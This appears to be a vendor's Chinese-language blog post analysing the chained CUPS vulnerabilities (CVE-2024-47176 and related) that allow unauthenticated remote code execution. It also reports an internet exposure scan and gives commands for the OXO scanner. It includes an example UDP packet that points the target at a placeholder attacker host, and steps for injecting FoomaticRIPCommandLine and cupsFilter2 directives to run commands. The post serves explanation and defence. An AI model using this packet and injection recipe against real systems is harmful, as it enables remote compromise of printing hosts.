我们的 AI 引擎 Neutron 在加州大学伯克利分校的 CyberGym 基准测试中取得了 96.75% 的成绩。 了解更多

安全

安全

评估 CUPS 漏洞的大规模暴露情况:可串联实现远程代码执行的多个 CVE

本文评估了系统在影响 CUPS 打印服务的多个 CVE 面前的大规模暴露情况,这些漏洞可以串联起来,实现无需身份验证的远程代码执行(RCE)。我们概述了包括 CVE-2024-47176 在内的这些漏洞如何协同作用,并逐步讲解漏洞利用流程。此外,我们还分析了可能受影响的系统数量,并重点介绍了测试过程中观察到的一种特殊行为。

引言

通用 UNIX 打印系统(CUPS)是一种广泛使用的打印系统,使联网计算机能够顺畅地管理打印作业和打印机。最近,研究员 Simone Margaritelli 开展了一项出色的研究,发现了多个 CVE,并成功将它们串联起来,在目标系统上实现了无需身份验证的远程代码执行(RCE)。您可以在 Simone Margaritelli 的文章中进一步了解这项研究。

在本文中,我们将拆解漏洞利用的工作流程,并分析特定目标样本中存在漏洞的系统所占的百分比。

技术细节

在 CUPS 中实现 RCE:

本节将概述实现远程代码执行(RCE)的各个步骤,并解释不同的 CVE 如何在其中发挥作用。

  1. CVE-2024-47176:起点——cups-browsed 与 BrowseSocket:

    攻击始于 cups-browsed 服务,该服务负责发现网络上的打印机,并自动将它们添加到系统中。

    该服务创建了一个名为 BrowseSocket 的套接字,在 INADDR_ANY:631 UDP 上监听包含打印机信息的传入数据包。

    browsesocket

    下一步是确定 BrowseSocket 在何处被使用。经过调查,函数 process_browse_data 浮现为关键位置。

    process_browse_data() 负责从 BrowseSocket 读取数据包。它期望传入的数据遵循特定格式: HEX_NUMBER HEX_NUMBER TEXT_DATA 在接收到数据包后,该函数会检查源 IP 地址是否被允许发送数据。这通过 allowed() 函数完成,它会对照位于 /etc/cups/cups-browsed.conf 的配置文件来校验 IP 地址。该文件定义了哪些主机被允许连接和发送数据。

    allowed.png

    然而事实证明,虽然您可以通过编辑 /etc/cups/cups-browsed.conf 配置文件来设置谁可以、谁不可以连接,但在大多数系统上,默认配置是完全被注释掉的。这意味着,除非管理员明确限制访问,否则系统会对任意 IP 地址的连接敞开大门。结果,allowed() 检查将始终通过,使系统面临来自任意来源的潜在利用风险。

    一旦源 IP 检查通过,数据包就会被解析,其中两个字段会被传递给 found_cups_printer() 函数做进一步处理。

  2. CVE-2024-47076:恶意 URI 注入与利用:

    从数据包中解析出的两个字段之一是打印机的 URI。

    found_cups_printer.png

    追踪该参数如何被使用并在不同函数之间传递:

    从 found_cups_printer 开始,URI 被传递给 examine_discovered_printer_record() 函数,该函数又会将其传递给 create_remote_printer_entry()。这一系列函数调用最终会到达 libcupsfilters 库中的 cfGetPrinterAttributes()。

    cfGETPrinterAttributes.png

    cfGetPrinterAttributes() 函数负责向提供的打印机 URI 发起 HTTP 请求,以获取打印机的详细信息。

    httpconnect.png

    此时,恶意行为者可以向 631 端口发送一个经过特制的 UDP 数据包,其中嵌入恶意 URI,例如:

    0 3 http://<ATTACKER-IP>:<PORT>/printers/whatever

    该数据包将绕过薄弱的校验,导致 cups-browsed 回连到攻击者控制的 URL。

    interactsh.png

  3. CVE-2024-47175:攻击者的恶意 IPP 属性与 PPD 文件创建:

    当攻击者的服务器返回包含特制 IPP 属性的响应(这些属性被设计成模仿合法打印机的能力)后,cups-browsed 会处理这些属性。它通过调用 create_queue() 函数来完成,后者又会调用 libppd 库中的 ppdCreatePPDFromIPP2() API。该 API 负责创建一个临时的 PPD(PostScript 打印机描述)文件,并将接收到的属性存储其中。

    PostScript 打印机描述文件是由打印机厂商提供的文本文件,用于描述某个特定 PostScript 打印机可用的全部功能与能力。这些文件具有多重作用:

    • 它们定义了如何为打印作业调用各项功能,包括打印机支持的分辨率、纸张尺寸以及特殊功能(例如双面打印)。
    • PPD 充当 PostScript 打印机的驱动程序,为 CUPS 系统提供一种标准化的方式来与不同的打印机交互,无论其制造商为何。
    • PPD 还包含用于为打印作业调用各项功能的 PostScript 代码(命令)。

    PPD.png

    ppdCreatePPDFromIPP.png

    ppdCreatePPDFromIPP2() 函数将攻击者控制的 IPP 属性未经任何净化就直接写入 PPD 文件。

    write_to_file.png

  4. CVE-2024-47177:利用 CUPS Filter:

    既然我们能够设置保存在 PPD 文件中的属性,就可以指示 CUPS 在处理打印作业时执行某些命令。

    CUPS 通过这些属性支持多种指令,其中可被利用的一个是 cupsFilter2。

    filter(过滤器)是位于 /usr/lib/cups/filter 目录下的可执行文件。CUPS 将过滤器的执行限制在该目录内——这意味着您不能随意指定任意二进制文件。当打印作业被发送到打印机时,这些过滤器会被执行,通常用于在打印机本身不支持文档格式时进行文档转换。

    鉴于对可执行二进制文件的这一限制,目标是利用某个现有过滤器来执行任意命令。

    利用 foomatic-rip 过滤器:

    对攻击者来说幸运的是,有一个过滤器——foomatic-rip——仍然存在一个旧的命令执行缺陷 CVE-2011-2964 和 CVE-2011-2697。该过滤器接受 PPD 文件中的 FoomaticRIPCommandLine 指令,允许通过它执行任意命令。

    通过利用该漏洞,攻击者可以将 FoomaticRIPCommandLine 指令注入 PPD 文件,从而导致 CUPS 在打印作业处理过程中执行任意命令。

    要实施该攻击,需要以下步骤:

    • 迫使目标机器连接到恶意 IPP 服务器:第一步是让目标机器与您控制的流氓 IPP 服务器进行通信。
    • 返回恶意的 IPP 属性字符串:
      • 注入一个 printer-privacy-policy-uri 属性,附带一个伪造的策略 URL,例如 "https://www.example.com/",后面跟一个换行符以终止该字符串。
      • 添加一个指令 FoomaticRIPCommandLine: "COMMAND",以在目标机器上执行命令。
      • 包含一个 cupsFilter2 指令:"application/pdf application/vnd.cups-postscript 0 foomatic-rip",它确保在发送打印作业时触发 foomatic-rip 过滤器连同注入的命令一起执行。
    • 触发执行:一旦向该恶意打印机发送打印作业,注入的 PPD 指令就会被执行,从而完成攻击。

CUPS 漏洞大规模评估:检测与分析:

在进行大规模评估之前,我们最初打算通过 CUPS 服务的 UDP 端口(具体是 BrowseSocket 所打开的端口)来对其进行指纹识别。该套接字在 INADDR_ANY:631 UDP 上监听,我们认为可以通过向该端口发送请求来识别运行 CUPS 的系统。然而,在测试过程中——无论是手动还是使用 Nmap 之类的工具——我们都未能从 CUPS 服务器获得响应。

为了查明为何收不到任何响应,我们检查了 CUPS 源代码,重点关注向客户端回送数据的函数。在此过程中,我们识别出了用于发送响应的 sendto 函数。 我们查找了负责发送响应的 sendto 函数。

sendto.png
并发现它在 broadcast_browse_packets 函数中被使用,而该函数由 send_browse_data 调用。
send_browse_data.png
然而,我们发现 send_browse_data 在主函数中被调用,但只有在满足特定条件时才会发生:if (BrowseLocalProtocols & BROWSE_CUPS)。
if_statement.png
在检查 BrowseLocalProtocols 的默认值时,我们发现它被设置为 none,这意味着该条件永远不会被满足。这解释了为什么我们的 UDP 指纹识别尝试没有收到任何响应。
browselocalprotocols.png
在排除了 UDP 指纹识别之后,我们将重点转向了对 631 端口的 TCP 指纹识别,该端口由互联网打印协议(IPP)使用。我们扫描了一批 IP 地址,并使用 PoC 来检查该漏洞。在测试的 19,968 个 IP 中,有 45 个在 TCP/631 上开放了 IPP。运行 PoC 后,我们发现其中 42 个系统存在漏洞。这意味着约 0.23% 的被测 IP 运行着 CUPS,而在这些系统中,有 93.33% 因该漏洞而处于风险之中。

nuclei_template.png

使用 OXO 测试该漏洞

如果您担心自己的实例可能存在漏洞,请按照以下步骤使用 OXO 工具运行测试:

通过 pip 安装 OXO:

pip install -U ostorlab

从 OXO agent 商店安装 asteroid agent:

oxo agent install agent/ostorlab/asteroid

使用 asteroid agent 运行扫描,命令如下:

oxo scan run --agent agent/ostorlab/asteroid link --url <target-URL> --method GET

标签:

security, vulnerability